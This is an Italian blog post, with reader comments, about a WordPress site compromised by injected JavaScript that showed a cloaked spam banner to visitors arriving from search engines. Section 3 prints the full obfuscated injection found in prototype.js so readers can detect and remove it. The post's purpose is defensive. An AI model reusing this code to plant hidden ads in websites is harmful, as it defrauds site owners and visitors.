
Ebbene sì, ieri ho scoperto che BigThink è stato oggetto di un attacco hacker andato a buon fine.
Qualche settimana fa un amico mi ha avvisato che sulle pagine del mio blog vedeva un bannerone che pubblicizzava un sito di spam. Subito sono corso a controllare, ma sembrava tutto normale. Ho chiesto in giro ad altri utenti, ma nessuno ha notato il fantomatico banner.
Decisi allora che il computer del mio amico doveva essere infetto da qualche malware e non ci pensai più.
Ieri mi arriva una email da un mio lettore, il quale mi avvisa che sulle mie pagine è presente un banner di spam, che il mio sito è stato hackerato e che la cosa è successa anche a lui. Cavolo, allora era proprio vero!!
1. Il problema
In sostanza, viene visualizzato un banner verde 180×600 che punta al sito Slimp.net e compare solamente una volta a quegli utenti che arrivano sul blog da un altro sito referrer (da Google ad esempio). Per questo non lo vedevamo nè io, nè i miei abituali lettori.

2. Come controllare se si è infetti
Se i vostri utenti vi segnaleranno qualcosa di anomalo, ascoltateli! Per poter visualizzare anche voi il banner fate così:
- Cancellate la cache e soprattutto i cookie.
- Andate su Google e cercate il vostro sito.
- Cliccate sul link del vostro sito da Google.
- Vedrete così il malefico banner!
3. In cosa consiste l’infezione
L’attacco in questione va a modificare uno dei file javascript di WordPress o dei plugin da voi utilizzati e aggiunge delle righe di codice infette.
Nello specifico queste righe:
document.getElementById("g06RMY").style.display="none";
}
function RkvQhBbF(){
if(document.body.scrollTop==0)
document.all["g06RMY"].style.top=document.documentElement.scrollTop+10;
else
document.all["g06RMY"].style.top=document.body.scrollTop+10;
}
function QdM4X8Xp(tb,cu){
var du = "", bp = 0;
while(1)
{
var t = cu.substr(bp, 16);
var i, tl = t.length;
if(tl == 0) break;
for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
bp += tl;
}
return du;
}
if( document.cookie.indexOf("xQ0ZwXyqa") == -1){
var tbgn = new Date(), tbgn1 = false;
if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){
var RIUy = document.domain.toLowerCase();
if(RIUy.indexOf('www.') == 0) RIUy = RIUy.substr(4);
var v6lb = document.referrer.toLowerCase().substr(7);
var UyIo = v6lb.indexOf('?');
if(UyIo != -1) v6lb = v6lb.substr(0, UyIo);
var UyIo = v6lb.indexOf('/');
if(UyIo != -1) v6lb = v6lb.substr(0, UyIo);
if(v6lb.indexOf('www.') == 0) v6lb = v6lb.substr(4);
if(v6lb != RIUy && Math.random() < 1){
tbgn.setTime(tbgn.getTime()+(24*100 * 10 * 100 * 36 *10));
tbgn1 = tbgn.toGMTString();
var Z8jc = navigator.appVersion.indexOf('MSIE') != -1;
var iZi5=1;
document.write('<div id="g06RMY" style="'+(Z8jc ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="iZi5=0"'+
' title="Close" href="javascript: oadllNyO()" onmouseout="iZi5=1">Close[X]</a></b><br>'+
'<a href="'+QdM4X8Xp('f9e52a4d3cb07618105826743','pe:l/pn.tt/misthm/b/seerm')+RIUy+'.html'+'" target="_blank"><img src="'+QdM4X8Xp('52f098134d7ec6bab4c56d289f1e0a370','p/tslhnm/:te.ipt3ragig/inn./mb2ef')+'" border=0 alt="Click Here" onclick="oadllNyO()"></a></div>');
if(Z8jc){
if (document.all["g06RMY"].style)
window.setInterval("RkvQhBbF()", 5);
window.onerror=null;
document.body.scrollTop=10;
}
}
}
else{
tbgn.setTime(tbgn.getTime()+(100 * 10 * 100 * 24 *36 *90));
tbgn1 = tbgn.toGMTString();
}
if(tbgn1 != false) document.cookie = "xQ0ZwXyqa"+'=1; expires='+tbgn1+'; path=/';
}
E’ molto probabile che i nomi delle variabili e delle funzioni siano random e che quindi sul vostro sito siano utilizzati degli altri nomi.
Nel mio caso, il file infetto era /wp-includes/js/prototype.js, ma può variare.
4. Come risolvere il problema
A questo punto vorrete rimuovere la pubblicità non desiderata.
Come scoprire qual’è il file incriminato? Dobbiamo cercare in tutti i file javascript del vostro sito se c’è una delle stringhe del codice. Visto che i nomi cambiano, dovremo cercare qualcosa di statico.
Ad esempio si può fare una ricerca per t.charAt(parseInt(tb.charAt(bp+i), 16)).
Primo modo:
- Scaricatevi in locale tutti i file del vostro sito.
- Cercate la stringa con Dreamweaver o con un altro programma di ricerca.
Secondo modo, più comodo:
- Scaricate e installare l’add-on per FireFox Web Developer.
- Cliccate sul menu “Information” e poi su “View Javascript”.
- Vi comparirà una pagina con tutti i javascript del vostro sito.
- CTRL+F e cercate la stringa incriminata.
Quando avrete trovato il file che è stato modificato, non dovete far altro che sovrascriverlo con la copia locale non infetta.
5. Com’è possibile tutto ciò?
Non ne ho la più pallida idea!
Utilizzo la versione 2.7.1 di WordPress e ha evidentemente una pericolosa vulnerabilità che permette ad utenti esterni di manipolare i javascript del sito (Vedi aggiornamento a fondo pagina).
L’alternativa è che sia colpa di qualche falla nei plugin che uso.
Quello che escludo è che qualcuno abbia scoperto la password del mio account FTP e abbia fatto la modifica a mano.
6. Mal comune…
E non sono l’unico ad avere avuto questo attacco! Oltre al gentilissimo lettore che mi ha avvisato del problema, anche altri siti hanno subito la mia stessa sorte. Ecco infatti anche un altro che si lamenta del problema.
Ora il fatto è che, se non capisco come sia potuto succedere, può benissimo reinfettarsi nuovamente!
Vi chiedo quindi di segnalarmi eventuali anomalie e mi scuso con gli utenti che fossero stati infastiditi dalla pessima pubblicità spammosa.
UPDATE 08/06/2009
Dopo aver fatto una chiacchierata con Wolly, abbiamo concluso che probabilmente la vulnerabilità fosse dovuta ad una falla di WordPress 2.6.x: l’attacco risale quindi a parecchio tempo fa, ciò significa che mi sono portato dietro il bannerone spammoso per mesi. Appena è uscita la versione 2.7 ho provveduto ad aggiornare, ma ormai il danno era fatto. Quindi ora non dovrebbero più esserci problemi, si spera.
23 Commenti












E io che volevo chiederti che circuito usavi
Ma dai!! Tutti lo vedevano, ma nessuno diceva niente? XD
Chissà da quanti mesi era presente…
Ciao, ti consiglio http://blog.lucabedogni.it/blog/i-7-plugin-indispensabili-per-wordpress/. E’ un articolo che ho scritto che suggerisce alcuni plugin per aumentare la sicurezza.
Ciao!
Grazie per la segnalazione.
Ho installato i plugin Antivirus e Security Scan. Non so a quanto possano servire, ma meglio che niente
io pensavo fosse pubblicità e la chiudevo subito senza nemmeno leggere….
Almeno nessuno la cliccava, però era piuttosto invadente!
Se vi capitasse di rivederla, segnalatemela per favore
Mi consola il fatto di essere rimasto alla versione 2.7 allora. Sono cose che succedono, ma più che Wordpress, io tenderei a dare la colpa ai plugin, che già in passato (leggendo sulla mailing list di wordpress) si sono rivelati delle porte spalancate per certi tipi di attacchi. Dell’antivirus per wordpress ne ho sentito parlare anche io, ma non mi è chiara la sua efficacia, e quindi non lo utilizzo. Per il resto io andrei di .htaccess bloccando l’accesso dall’esterno alle cartelle wp-admin e wp-include, almeno già è qualcosa anche quello.
Sì, credo anch’io che la causa principale sia uno dei plugin che utilizzo. Ora mi son messo ad aggiornarli tutti, ma chissà qual’è il colpevole…
L’antivirus è un plugin che controlla ogni giorno il codice del template, a caccia di javascript maligni.
Poi credo che seguirò il tuo consiglio e smanetterò con l’.htaccess. Ho trovato qualcosa di interessante qui, ad esempio.
Si, mi sembrano ottimi consigli… che io uso già da tempo sul mio blog
E finora (toccando ferro, o toccando legno come dicono qui in America) sono stato al riparo dai malintenzionati. Sarà poi che io uso pochi plugin e che le cose che mi servono me le faccio “a mano” per conto mio
Ohh Dani, qua dice che sono loggato con Giorgio romano, sono Lorenzo De Santis.. Cavolo EH!?? Dx
Comunque io almeno per 1 mese l’ho vedevo, non ci siamo sentiti molto, infatti volevo chiederti perché avevi messo quel mabrone che nascondeva tutto… Dx
Sì, tra l’altro nascondeva tutta la colonna di destra e i miei AdSense! Bastardi!
P.S.
Giorgio Romano?? Mmm… dev’esserci qualche problema con WP SUper Cache…
Non ci credo… un lettore mi segnala che anche su SocialBlog.it compare il banner di spam!!!
Ma mi hanno preso di mira???!!
Brutta storia…..
Mi dispiace molto per quello che ti è capitato, anche se io il banner incriminato non l’ho mai visto (forse perchè ti seguo via feed). Comunque quoto Camu sul fatto che una buona configurazione del file .htaccess sarebbe quantomeno necessaria, ma bisogna sapere come farla per bene. Mi raccomando appena ci riuscirai, posta una bella guida, (come è nel tuo stile) in modo che anche noi possiamo aumentare la sicurezza dei nostri blog
Ciao.
Puoi contarci: ovviamente un articolo simile è già in lista.. Anche se prima dovrò documentarmi per bene e rafforzare la sicurezza del mio
Ciao Daniele, adesso mi è tutto chiaro…infatti non capivo come mai avevi inserito sul blog una “schifezza” del genere….
Bè…spero solo che non ti si ripresenti il problema! I plugin…brutte bestie in questi casi…
Già! Richiedo nuovamente scusa per il disagio: mi darò da fare per rendere completamente sicuro il blog e spero che non si ripeta di nuovo!
Se mi hanno preso di mira, la cosa è altamente probabile.. Tenete gli occhi aperti!!
Sinceramente mi sembra piuttosto improbabile si tratti di un bug di sicurezza di WordPress 2.7.1: ormai è installata su milioni di siti e mi sembra strano che non sia uscito nulla del genere in nessun forum o mailing list internazionale…
A mio parere i casi più probabili sono due:
- infezione iniziata con versioni precedenti di Wordpress: ci sono stati security alert per questo genere di problemi con WP 2.6.X e migliaia di “infezioni” verificate. Poichè le infezioni spesso andavano a colpire o aggiungre file nella cartella wp-content (o addirittura negli uploads, tra i file caricati da te), che spesso non viene toccata dall’aggiornamento, potrebbe essere un problema che ti porti dietro da mesi…
- infezione provocata da un plugin (come giustamente dici tu). Il fatto che si manifesti anche su un altro tuo blog potrebbe consigliare di partire con la ricerca del plugin incriminato analizzando i plugin comuni ad entrambi i blog..
facci sapere!
Stefano
Ciao, hai ragione, infatti ho parlato con Wolly e anche lui sostiene la tua prima ipotesi: probabilmente ero infetto sin dalla 2.6 e non me n’ero accorto. Pur avendo aggiornato alla 2.7 appena uscita, l’infezione è rimasta e l’ho vista solo ora.
Idem sull’altro sito.
P.S.
non ho avuto il tempo di aggiornare l’articolo, oggi lo faccio
Anche io l’ho visto ma pensavo fosse una tua pubblicità, ho pensato che copriva i contenuti poi mi son detto “mha, si vede che guadagnerà bene”
D’oh! E pensare che evito proprio di mettere banner popup perchè li odio
Ciao era successa la stessa identica cosa a me sul mio blog, usando un plusing “madre straniera” e per i codici adsense, probabilmente l’unica cosa che mi viene in mente da pensare è appunto qualche bug o falla di suicurezza sù qui bene o male chi se ne intende può attaccare!
cavoletti.
grazie per i consigli
Penso che una protezione completa da attacchi non sia possibile ma ho trovato un sito http://www.ipsafer.com che permette di eseguire un controllo sugli IP, per sapere se sono pericolosi. Il servizio è GRATUITO e ci sono le istruzioni per modificare wordpress per eseguire il controllo stesso al momento dell’accesso.